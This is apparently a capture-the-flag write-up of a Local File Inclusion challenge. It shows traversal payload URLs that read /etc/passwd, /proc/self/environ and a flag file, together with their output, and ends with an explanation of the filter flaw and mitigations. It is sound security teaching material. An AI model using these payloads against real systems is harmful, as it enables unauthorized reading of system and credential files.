Challenge Overview

Challenge Name: Enumerate Arena — Basic OWASP Top 10 & CVEs Category: Web Exploitation Difficulty: Low Target URL: http://web.labs.defhawk.com:12000/

There's a website behaving strangely. Maybe it's including files without proper checks? Try visiting the playground link and injecting a payload that can help you read sensitive system files. If you find the right path, it may just lead you to the flag!

Introduction

Local File Inclusion (LFI) is a common web vulnerability that occurs when a web application fails to properly validate user input before including files on the server. If exploited, it can allow an attacker to read sensitive files, access configuration data, and sometimes even escalate the attack further.

In this write-up, I'll explain how I identified a potential LFI vulnerability in a web application, the steps I took to confirm it, and how I successfully exploited it. I'll also share the thought process behind each step, including the testing methods and payloads used during the exploitation phase.

The goal of this write-up is not just to show the exploit, but to demonstrate the methodology and reasoning involved in discovering and validating the vulnerability.

Reconnaissance

Initial Investigation

The challenge description hinted at a website with improper file inclusion checks. I started by navigating to the target application at http://web.labs.defhawk.com:12000/.

The landing page displayed a simple search interface with:

  • A text input field for search terms
  • A dropdown menu labeled "Sample 1"
  • A "Submit" button
None
None

Understanding the Application

Looking at the URL structure when submitting searches, I noticed the application used GET parameters

The smaple parameter immediately caught my attention as a potential vector for file inclusion attacks.

http://web.labs.defhawk.com:12000/search?term=&sample=Sample1

Exploitation

Step 1: Testing Basic LFI

First, I tested if the vulnerability existed by attempting to read /etc/passwd

Payload:

http://web.labs.defhawk.com:12000/search?term=test&sample=../../../../etc/passwd
None

Result: ✅ Success! The server returned the contents of /etc/passwd, confirming the LFI vulnerability.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

Step 2: Information Gathering

I used the LFI to gather information about the system:

Reading environment variables:

http://web.labs.defhawk.com:12000/search?term=test&sample=../../../../proc/self/environ

This show:

NODE_VERSION=14.21.3
HOSTNAME=eb7ff18590bb
YARN_VERSION=1.22.19
HOME=/rootTERM=xtermPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/usr/src/app

Key Discovery: The application runs from /usr/src/app/searchable/

Step 3: Finding the Flag

Based on common CTF practices, I tested various flag locations:

Failed attempts:

  • /flag.txt
  • /etc/flag.txt
  • /root/flag.txt
  • ../../flag.txt
  • ../flag.txt

Successful payload:

http://web.labs.defhawk.com:12000/search?term=test&sample=../flag.txt
None

Flag Captured!

None

Technical Deep Dive

Why the Vulnerability Exists

The application's vulnerability stems from:

Insufficient Input Validation

The application performs a basic check to block the ./ pattern. However, this validation is incomplete and fails to account for other dangerous path manipulation sequences.

For example, it does not properly validate or sanitize inputs containing ../, which allows directory traversal outside the intended directory.

This indicates a superficial security check rather than robust input sanitization.

Path Traversal Bypass

Because the filter only blocks ./ and does not account for ../, an attacker can exploit this weakness to traverse parent directories.

The ../ sequence enables navigation up the directory tree, potentially allowing access to sensitive system files such as:/etc/passwd

  • Application configuration files
  • Source code files
  • Hidden environment files

This bypass occurs because the validation logic focuses on blocking a single pattern instead of normalizing and validating the full path.

Direct File Inclusion

The application directly uses user input in file handling functions (such as include, require, fopen, or file_get_contents).

No Whitelisting Mechanism

A secure implementation should restrict file access to a predefined list of allowed files.

Mitigation Strategies

To prevent LFI vulnerabilities, developers should:

  1. Input Validation
  2. Path Sanitization
  3. Use File IDs
  4. Disable Dangerous Functions like — In PHP: disable_functions = include, require, fopen
  5. Implement Proper Access Controls

Lessons Learned

  1. Never trust user input — Always validate and sanitize
  2. Defense in depth — Multiple layers of security prevent exploitation
  3. Path traversal is powerful — Simple ../ sequences can bypass weak filters
  4. Environment disclosure — /proc/self/environ reveals valuable information
  5. Source code review — Reading application files can reveal logic flaws

Conclusion

The "Enumerate" challenge highlights a classic Local File Inclusion (LFI) vulnerability and how dangerous it can be when user input is not properly validated. By analyzing how the application handled file parameters, I identified that it was directly including user-supplied input without sufficient sanitization.

Using directory traversal techniques (such as ../ sequences), I was able to move outside the intended directory and access sensitive system files. This ultimately led to discovering the target file and retrieving the flag.

This challenge demonstrates how small input validation flaws can lead to serious security risks. LFI vulnerabilities are still commonly found in real-world applications, especially in poorly configured legacy system

Using directory traversal techniques (such as ../ sequences), I was able to move outside the intended directory and access sensitive system files. This ultimately led to discovering the target file and retrieving the flag.

Overall, this exercise strengthened my understanding of file inclusion vulnerabilities and their real-world impact, making it a valuable learning experience for offensive security and penetration testing.

References

Happy Hacking! 🔒